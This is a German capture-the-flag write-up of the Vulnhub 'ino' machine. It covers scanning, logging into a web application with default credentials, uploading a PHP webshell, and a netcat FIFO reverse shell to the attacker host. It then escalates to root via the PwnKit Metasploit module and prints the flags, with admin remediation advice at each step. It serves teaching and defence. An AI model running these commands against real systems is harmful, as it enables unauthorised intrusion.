ino - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
dirb
Web Browser
Google Search
curl
nc (Netcat)
find
msfconsole
shell_to_meterpreter
PwnKit Exploit (Metasploit)
id
ls
cd
cat

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase beginnt mit der Identifizierung aktiver Ziele im lokalen Netzwerk.

┌──(root㉿Cybermaschine)-[~]
└─# arp-scan -l
192.168.2.118	08:00:27:c4:41:9c	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk. Ein Host mit der IP-Adresse `192.168.2.118` und der MAC-Adresse `08:00:27:c4:41:9c` (PCS Systemtechnik GmbH) wird identifiziert, was auf eine VirtualBox-VM hindeutet.

**Bewertung:** Das Zielsystem wurde erfolgreich gefunden. Die IP `192.168.2.118` ist das Ziel für die weiteren Schritte.

**Empfehlung (Pentester):** Führen Sie Portscans auf die Ziel-IP durch. Ergänzen Sie die lokale `/etc/hosts`-Datei um einen passenden Hostnamen, sobald dieser bekannt ist.
**Empfehlung (Admin):** Netzwerksegmentierung und -monitoring können zur Erkennung und Eindämmung von Scans beitragen.

┌──(root㉿Cybermaschine)-[~]
└─# vi /etc/hosts
192.168.2.118   ino.vln
                    

**Analyse:** Die lokale Hosts-Datei des Angreifers wird bearbeitet, um die IP `192.168.2.118` dem Hostnamen `ino.vln` zuzuordnen. Dieser Hostname wurde vermutlich während der Nmap-Scans ermittelt oder vorgegeben.

**Bewertung:** Dies vereinfacht die weitere Interaktion mit dem Zielsystem, da nun der Hostname `ino.vln` verwendet werden kann.

**Empfehlung (Pentester):** Verwenden Sie `ino.vln` in nachfolgenden Befehlen und bei der Analyse von Webanwendungen.
**Empfehlung (Admin):** Dieser Schritt erfolgt auf dem Angreifer-System. Achten Sie auf eine korrekte DNS-Konfiguration Ihrer Server.

┌──(root㉿Cybermaschine)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.118 -p- | grep open
22/tcp open  ssh     penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
                    

**Analyse:** Ein Nmap-Scan aller TCP-Ports (`-p-`) mit verschiedenen Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`) wird durchgeführt. Die gefilterte Ausgabe (`grep open`) zeigt zwei offene Ports: * Port 22 (SSH): OpenSSH 7.9p1 auf Debian. Relativ aktuell. * Port 80 (HTTP): Apache 2.4.38 auf Debian.

**Bewertung:** Die Angriffsfläche beschränkt sich auf die Standardports SSH und HTTP. Beide Dienste laufen auf relativ aktuellen Versionen für Debian 10 (Buster).

**Empfehlung (Pentester):** Konzentrieren Sie sich auf die Untersuchung des Webservers (Port 80). Behalten Sie SSH (Port 22) als Ziel für eventuell gefundene Zugangsdaten. Führen Sie den Nmap-Scan ohne `grep` aus, um alle Details zu sehen.
**Empfehlung (Admin):** Stellen Sie sicher, dass beide Dienste sicher konfiguriert und auf dem neuesten Patchstand innerhalb ihrer Version sind. Beschränken Sie den SSH-Zugriff ggf. auf Schlüsselauthentifizierung.

┌──(root㉿Cybermaschine)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.118 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-15 22:34 CEST
Nmap scan report for ino.vln (192.168.2.118)
Host is up (0.00017s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 de:b5:23:89:bb:9f:d4:1a:b5:04:53:d0:b7:5c:b0:3f (RSA)
|   256 16:09:14:ea:b9:fa:17:e9:45:39:5e:3b:b4:fd:11:0a (ECDSA)
|_  256 9f:66:5e:71:b9:12:5d:ed:70:5a:4f:5a:8d:0d:65:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
MAC Address: 08:00:27:C4:41:9C (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.17 ms ino.vln (192.168.2.118)
                    

**Analyse:** Die vollständige Nmap-Ausgabe bestätigt die offenen Ports 22 (OpenSSH 7.9p1) und 80 (Apache 2.4.38). Es werden die SSH-Hostkeys angezeigt. Nmap identifiziert das Betriebssystem als Linux (Kernel 4.15 - 5.8). Es werden keine weiteren Details zur Webanwendung von den Nmap-Skripten gefunden.

**Bewertung:** Bestätigt die relativ moderne Softwarebasis (Debian 10). Keine offensichtlichen Schwachstellen durch Nmap-Skripte aufgedeckt. Der Fokus liegt weiterhin auf der manuellen Untersuchung von Port 80.

**Empfehlung (Pentester):** Führen Sie spezialisierte Web-Enumerationstools (Nikto, Dirb/Gobuster) auf Port 80 aus.
**Empfehlung (Admin):** Halten Sie alle Systemkomponenten aktuell.

Web Enumeration

Wir untersuchen nun den Webserver auf Port 80 detaillierter mit spezialisierten Tools.

┌──(root㉿Cybermaschine)-[~]
└─# nikto -h 192.168.2.118
- Nikto v2.5.0

+ Target IP:          192.168.2.118
+ Target Hostname:    192.168.2.118
+ Target Port:        80
+ Start Time:         2023-10-15 22:34:21 (GMT2)
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present.
+ /: The X-Content-Type-Options header is not set.
+ Root page / redirects to: /lot/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54).
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated: 19 error(s) and 3 item(s) reported on remote host
+ End Time:           2023-10-15 22:35:34 (GMT2) (73 seconds)
+ 1 host(s) tested
                    

**Analyse:** Der Nikto-Scan (`nikto -h 192.168.2.118`) liefert einige Informationen, bricht aber frühzeitig ab: * Bestätigt Apache 2.4.38 und fehlende Sicherheitsheader. * **Wichtiger Fund:** Die Startseite (`/`) leitet auf `/lot/` weiter. Dies deutet auf eine Webanwendung in diesem Unterverzeichnis hin. * Der Scan bricht mit einer Fehlermeldung ab ("Error limit (20) reached... Transport endpoint is not connected"). Dies könnte auf ein Problem mit dem Server, ein aggressives Intrusion Prevention System (IPS) oder Instabilität während des Scans hindeuten.

**Bewertung:** Der wichtigste Fund ist das `/lot/`-Verzeichnis. Der Scan-Abbruch verhindert möglicherweise die Entdeckung weiterer Schwachstellen durch Nikto.

**Empfehlung (Pentester):** 1. Untersuchen Sie das Verzeichnis `/lot/` manuell im Browser und mit anderen Tools (Dirb/Gobuster). 2. Versuchen Sie Nikto erneut mit weniger aggressivem Timing (`-Tuning 0-3`) oder gezielt auf das `/lot/`-Verzeichnis (`-root /lot/`).
**Empfehlung (Admin):** Untersuchen Sie die Ursache für die Verbindungsabbrüche während des Nikto-Scans (Serverlast, Firewall/IPS-Regeln). Beheben Sie die fehlenden Sicherheitsheader und aktualisieren Sie Apache.

-------------------------------------------------------

view-source:http://ino.vln/lot/

      $('#login').click(function(){
        uni_modal("Login",'login.php')
      })

  location.href = "index.php?page=home&find=1&range="+r+"&type="+t;
uni_modal("Area/Lot Details","lot_details.php?view=1&id="+$(this).attr('data-id'),'mid-large')
https://github.com/select2/select2/blob/master/LICENSE.md
url(admin/assets/uploads/1603096200_1602738120_pngtree-purple-hd-business-banner-image_5493.jpg)
http://ino.vln/lot/admin/ajax.php
http://ino.vln/lot/index.php

-------------------------------------------------------
                    

**Analyse:** Der Pentester hat den Quellcode der Seite `http://ino.vln/lot/` (vermutlich `index.php`) analysiert. Es finden sich verschiedene JavaScript-Snippets und URLs: * Ein Klick auf ein Element mit ID `login` öffnet ein Modal-Fenster (wahrscheinlich ein Popup) mit Inhalt aus `login.php`. * Navigation erfolgt über URL-Parameter (`index.php?page=...`). * Details werden über `lot_details.php?view=1&id=...` geladen. * Verwendung von externen Bibliotheken (select2). * Verweis auf Bilder im Admin-Upload-Verzeichnis (`admin/assets/uploads/...`). * AJAX-Aufrufe gehen an `admin/ajax.php`. * Die Hauptseite ist `index.php`.

**Bewertung:** Der Quellcode enthüllt die Struktur und wichtige Endpunkte der Anwendung "Lot Reservation Management System" im `/lot/`-Verzeichnis. Besonders interessant sind `login.php`, `lot_details.php` und `admin/ajax.php` sowie das Admin-Verzeichnis `/lot/admin/` selbst.

**Empfehlung (Pentester):** 1. Untersuchen Sie die gefundenen PHP-Dateien (`login.php`, `lot_details.php`, `admin/ajax.php`). 2. Versuchen Sie, auf das `/lot/admin/`-Verzeichnis zuzugreifen. 3. Führen Sie einen Verzeichnis-Scan (Dirb/Gobuster) gezielt auf `/lot/` durch.
**Empfehlung (Admin):** Analysieren Sie den Code auf Schwachstellen (insbesondere in `ajax.php`, `lot_details.php`). Sichern Sie das Admin-Verzeichnis und alle Skripte ordnungsgemäß.

┌──(root㉿Cybermaschine)-[~]
└─# dirb http://ino.vln/lot -X ".php,.txt,.html"

-----------------
DIRB v2.22
By The Dark Raver
-----------------

URL_BASE: http://ino.vln/lot/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php, .txt, .html) | (.php)(.txt)(.html)

-----------------

GENERATED WORDS: 13839

---- Scanning URL: http://ino.vln/lot/ ----
+ http://ino.vln/lot/about.php (CODE:200|SIZE:679)
+ http://ino.vln/lot/footer.php (CODE:200|SIZE:4393)
+ http://ino.vln/lot/head.php (CODE:200|SIZE:0)
+ http://ino.vln/lot/header.php (CODE:200|SIZE:1894)
+ http://ino.vln/lot/home.php (CODE:200|SIZE:5188)
+ http://ino.vln/lot/index.php (CODE:200|SIZE:17722)

-----------------
END_TIME: Sun Oct 15 22:55:10 2023
DOWNLOADED: 13839 - FOUND: 6
                    

**Analyse:** Dirb wird gezielt auf das Verzeichnis `/lot/` angesetzt, um nach PHP-, TXT- und HTML-Dateien zu suchen (`-X ".php,.txt,.html"`). Es findet mehrere PHP-Dateien, die Teil der Anwendung sind (`about.php`, `footer.php`, `head.php`, `header.php`, `home.php`, `index.php`). Wichtige Dateien wie `login.php` oder das `admin`-Verzeichnis werden mit dieser Standard-Wortliste nicht gefunden.

**Bewertung:** Der Scan liefert einige Dateinamen, aber die entscheidenden (wie `login.php` oder `/admin`) fehlen. Dies unterstreicht die Notwendigkeit, verschiedene Tools und Wortlisten zu verwenden oder auf Hinweise aus anderen Quellen (wie der Quellcode-Analyse) zu vertrauen.

**Empfehlung (Pentester):** Versuchen Sie, direkt auf `/lot/admin/` und `/lot/login.php` zuzugreifen, basierend auf den Hinweisen aus dem Quellcode.
**Empfehlung (Admin):** Verlassen Sie sich nicht darauf, dass Angreifer Standard-Wortlisten verwenden. Sichern Sie alle Komponenten der Anwendung.

Initial Access (Default Credentials & File Upload)

Basierend auf der Quellcode-Analyse und der Identifizierung der Anwendung als "Lot Reservation Management System" suchen wir online nach Standard-Zugangsdaten für diese Software.

-------------------------------------------------------

https://www.google.de -->> Lot Reservation Management System default password
https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html

Password: admin123

I hope this simple Lot Reservation Management System project
will help you with what you are looking for. Feel free to
download and modify the source code.

-------------------------------------------------------

http://ino.vln/lot/admin/index.php
admin:admin123

-------------------------------------------------------
                    

**Analyse:** Der Pentester hat online (Google, Sourcecodester) nach Standard-Zugangsdaten für das "Lot Reservation Management System" gesucht. Die Suche war erfolgreich und ergab die Standard-Zugangsdaten: Benutzername `admin` und Passwort `admin123`. Diese werden für den Login unter `/lot/admin/index.php` verwendet.

**Bewertung:** Das Vorhandensein von Standard-Zugangsdaten ist eine kritische Schwachstelle. Der Zugriff auf den Admin-Bereich ist nun wahrscheinlich möglich.

**Empfehlung (Pentester):** Melden Sie sich unter `http://ino.vln/lot/admin/index.php` mit `admin`:`admin123` an. Suchen Sie nach Funktionen zum Hochladen von Dateien oder zur Codeausführung.
**Empfehlung (Admin):** Ändern Sie *immer* alle Standard-Zugangsdaten sofort nach der Installation einer Software. Verwenden Sie starke, einzigartige Passwörter.

http://ino.vln/lot/admin/index.php?page=site_settings

upload image/reverse shell php



http://ino.vln/lot/admin/assets/uploads/1697403840_phpshell.php

-------------------------------------------------------
                    

**Analyse:** Nach dem erfolgreichen Login als `admin` mit den Standard-Zugangsdaten findet der Pentester im Admin-Bereich unter "Site Settings" (`index.php?page=site_settings`) eine Funktion zum Hochladen von Bildern (vermutlich für das Site-Logo o.ä.). Er nutzt diese Funktion, um eine PHP-Webshell (`phpshell.php`) hochzuladen. Die Anwendung benennt die Datei offenbar um, indem sie einen Zeitstempel voranstellt (`1697403840_phpshell.php`), speichert sie aber im Verzeichnis `assets/uploads/`. Der Pfad zur hochgeladenen Shell lautet `http://ino.vln/lot/admin/assets/uploads/1697403840_phpshell.php`.

**Bewertung:** Die Anwendung erlaubt das Hochladen von Dateien mit beliebigen Endungen (hier `.php`) über eine Bild-Upload-Funktion und führt keine ausreichende Validierung des Dateityps durch. Dies ermöglicht das Hochladen einer Webshell und führt zu Remote Code Execution (RCE).

**Empfehlung (Pentester):** Greifen Sie auf die URL der hochgeladenen Webshell zu, um RCE zu erlangen und eine Reverse Shell aufzubauen.
**Empfehlung (Admin):** Implementieren Sie eine strikte serverseitige Validierung für Datei-Uploads: Überprüfen Sie Dateiendungen anhand einer Whitelist (z.B. nur `.jpg`, `.png`), überprüfen Sie den MIME-Typ und idealerweise den Dateiinhalt. Speichern Sie hochgeladene Dateien außerhalb des Web-Roots oder in Verzeichnissen ohne Ausführungsrechte für Skripte. Benennen Sie hochgeladene Dateien sicher um.

Proof of Concept (Reverse Shell)

Nach dem erfolgreichen Upload der Webshell über die Schwachstelle im Admin-Panel, rufen wir die Shell auf, um eine Reverse Shell zu unserem Listener aufzubauen und somit interaktiven Zugriff als Webserver-Benutzer (`www-data`) zu erhalten.

┌──(root㉿Cybermaschine)-[~]
└─# nc -lvnp 4444
Listening on 0.0.0.0 4444
┌──(root㉿Cybermaschine)-[~]
└─# curl "http://ino.vln/lot/admin/assets/uploads/1697403840_phpshell.php"
┌──(root㉿Cybermaschine)-[~]
└─# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.2.118 39868
Linux ino 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64 GNU/Linux
 22:05:57 up 33 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
                    

**Analyse:** Der Pentester startet einen Netcat-Listener auf Port 4444. Anschließend wird die URL der hochgeladenen Webshell mit `curl` aufgerufen. Die Webshell enthält Code, der eine Reverse Shell zum Listener aufbaut. Der Listener empfängt die Verbindung von der Ziel-IP `192.168.2.118`. Systeminformationen und die Benutzer-ID (`uid=33(www-data)`) werden angezeigt, gefolgt von einer Shell-Eingabeaufforderung (`$`).

**Bewertung:** Initial Access erfolgreich! Eine interaktive Shell als Benutzer `www-data` wurde über die Reverse Shell erlangt. Dies dient als Proof of Concept für die Übernahme des Webserver-Prozesses.

**Empfehlung (Pentester):** Stabilisieren Sie die Shell (Upgrade zur TTY). Beginnen Sie mit der lokalen Enumeration als `www-data`.
**Empfehlung (Admin):** Entfernen Sie die Webshell. Beheben Sie die zugrundeliegende Upload-Schwachstelle. Implementieren Sie Egress-Filtering und Prozessüberwachung.

  Privilege Escalation
                    

**Analyse:** Organisatorische Notiz, die den nächsten Abschnitt ankündigt.

**Bewertung:** Markiert den Übergang zur nächsten Phase.

**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.

Lokale Enumeration

Mit der erlangten Shell als `www-data` untersuchen wir das System auf lokale Schwachstellen oder Fehlkonfigurationen, die zur Privilegieneskalation genutzt werden können.

www-data@ino:/$ find / -type f -perm -4000 -ls 2>/dev/null
   262195     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   266144     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   282128     36 -rwsr-xr-x   1 root     root        34896 Apr 22  2020 /usr/bin/fusermount
   262197     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   262193     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   265663     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   278280     24 -rwsr-xr-x   1 root     root        23288 Jan 15  2019 /usr/bin/pkexec
   266146     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   265810     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   285689    156 -rwsr-xr-x   1 root     root       157192 Feb  2  2020 /usr/bin/sudo
   262192     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   282404    380 -rwsr-xr--   1 root     dip        386792 Feb 20  2020 /usr/sbin/pppd
   278283     20 -rwsr-xr-x   1 root     root        18888 Jan 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   399627     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   276895    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
   273543     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
                    

**Analyse:** Die Suche nach SUID-Dateien (`find / -type f -perm -4000 ...`) listet Standard-Systembinaries auf. `/usr/bin/pkexec` (potenziell PwnKit) und `/usr/bin/sudo` sind vorhanden. Es gibt keine offensichtlich benutzerdefinierten oder ungewöhnlichen SUID-Dateien.

**Bewertung:** Die SUID-Liste deutet auf PwnKit (CVE-2021-4034) als wahrscheinlichsten oder zumindest einen möglichen Eskalationsvektor hin, falls das System nicht gepatcht ist. `sudo` muss ebenfalls geprüft werden, aber oft hat `www-data` keine `sudo`-Rechte.

**Empfehlung (Pentester):** Prüfen Sie `sudo -l` (wird wahrscheinlich fehlschlagen). Konzentrieren Sie sich auf PwnKit (Version prüfen oder Exploit testen).
**Empfehlung (Admin):** Minimieren Sie SUID-Berechtigungen. Patchen Sie PwnKit (Update `policykit-1`). Überprüfen Sie `sudo`-Regeln.

Privilege Escalation (PwnKit via Metasploit)

Die lokale Enumeration hat das SUID-Root-Binary `/usr/bin/pkexec` aufgedeckt. Wir entscheiden uns, die PwnKit-Schwachstelle (CVE-2021-4034) mittels Metasploit auszunutzen, um Root-Rechte zu erlangen.

┌──(root㉿Cybermaschine)-[~]
└─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lport 4454
lport => 4454
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4454
www-data@ino:/$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4454 >/tmp/f
[*] Command shell session 1 opened (192.168.2.199:4454 -> 192.168.2.118:40382) at 2023-10-15 23:09:20 +0200
$
                    
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Sending stage (1017704 bytes) to 192.168.2.118
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.118:38084) at 2023-10-15 23:10:53 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    

**Analyse:** Der Pentester etabliert erneut eine Reverse Shell von der `www-data`-Shell (diesmal mit dem Netcat-FIFO-Trick) zu Metasploit (Session 1) und wertet diese dann zu einer Meterpreter-Session (Session 2) auf. Der Grund für die erneute Shell-Etablierung ist unklar, möglicherweise ging die vorherige Verbindung verloren.

**Bewertung:** Die Vorbereitung für den Metasploit-Exploit wurde (erneut) durchgeführt. Eine Meterpreter-Session als `www-data` ist nun verfügbar.

**Empfehlung (Pentester):** Führen Sie den PwnKit-Exploit gegen Session 2 aus.
**Empfehlung (Admin):** IDS/IPS zur Erkennung von Meterpreter.

msf6 post(multi/manage/shell_to_meterpreter) > search 4034
Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
[...]
   1  exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec  2022-01-25       excellent  Yes    Local Privilege Escalation in polkits pkexec
[...]
                    
msf6 post(multi/manage/shell_to_meterpreter) > use 1
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4466
lport => 4466
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4466
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.nghzaen
[+] The target is vulnerable.
[*] Writing '/tmp/.endqpsvpo/lruslv/lruslv.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.endqpsvpo
[*] Sending stage (3045380 bytes) to 192.168.2.118
[+] Deleted /tmp/.endqpsvpo/lruslv/lruslv.so
[+] Deleted /tmp/.endqpsvpo/.lgorxzwtqqal
[+] Deleted /tmp/.endqpsvpo
[*] Meterpreter session 3 opened (192.168.2.199:4466 -> 192.168.2.118:48420) at 2023-10-15 23:11:53 +0200
                    

**Analyse:** Der Pentester sucht und lädt den PwnKit-Exploit (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`). Er konfiguriert ihn für Session 2 (Meterpreter als `www-data`) und einen neuen Listener auf Port 4466. Die Ausführung (`run`) bestätigt die Anfälligkeit, lädt Exploit-Dateien hoch, führt sie aus, bereinigt `/tmp` und öffnet erfolgreich Meterpreter-Session 3 mit Root-Rechten.

**Bewertung:** Root-Zugriff erfolgreich via PwnKit erlangt!

**Empfehlung (Pentester):** Interagieren Sie mit Session 3, bestätigen Sie Root (`getuid`) und holen Sie die Flaggen.
**Empfehlung (Admin):** Patchen Sie PwnKit (CVE-2021-4034) dringend.

Proof of Concept (Root Shell)

Nach erfolgreicher Eskalation mittels PwnKit bestätigen wir die Root-Rechte und lesen die User- und Root-Flaggen aus.

meterpreter > shell
Process 1291 created.
Channel 1 created.
                    
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# ls /home
ppp
# cd /home/ppp
# ls
local.txt
# cat local.txt
f29cea45f473ebfa834885c4ff70ec1a
# cd ~
# ls
proof.txt
# cat proof.txt
21bae0a12690199cde7a65bff57723a5

**Analyse:** In der Meterpreter-Session 3 wird mit `shell` eine Root-Shell geöffnet. `id` bestätigt `uid=0(root)`. * Ein `ls /home` zeigt einen unerwarteten Benutzer `ppp`. * Im Home-Verzeichnis `/home/ppp` wird `local.txt` gefunden und ausgelesen: `f29cea45f473ebfa834885c4ff70ec1a` (User-Flagge). * Ein Wechsel nach `/root` (`cd ~`) und `ls` zeigt `proof.txt`. * `cat proof.txt` zeigt die Root-Flagge: `21bae0a12690199cde7a65bff57723a5`.

**Bewertung:** Ziel erreicht! Sowohl die User- als auch die Root-Flagge wurden gefunden. Der Benutzer `ppp` scheint der vorgesehene User-Account zu sein.

**Empfehlung (Pentester):** Dokumentieren Sie beide Flaggen und den Angriffspfad (Default Creds -> File Upload -> Reverse Shell -> PwnKit).
**Empfehlung (Admin):** Beheben Sie die gefundenen Schwachstellen (Default Creds, File Upload, PwnKit). Überprüfen Sie die Notwendigkeit des `ppp`-Benutzers.

 Privilege Escalation erfolgreich
                    

**Analyse:** Organisatorische Abschlussnotiz.

**Bewertung:** Bestätigt den Erfolg.

**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.

Flags

cat /home/ppp/local.txt
f29cea45f473ebfa834885c4ff70ec1a
cat /root/proof.txt
21bae0a12690199cde7a65bff57723a5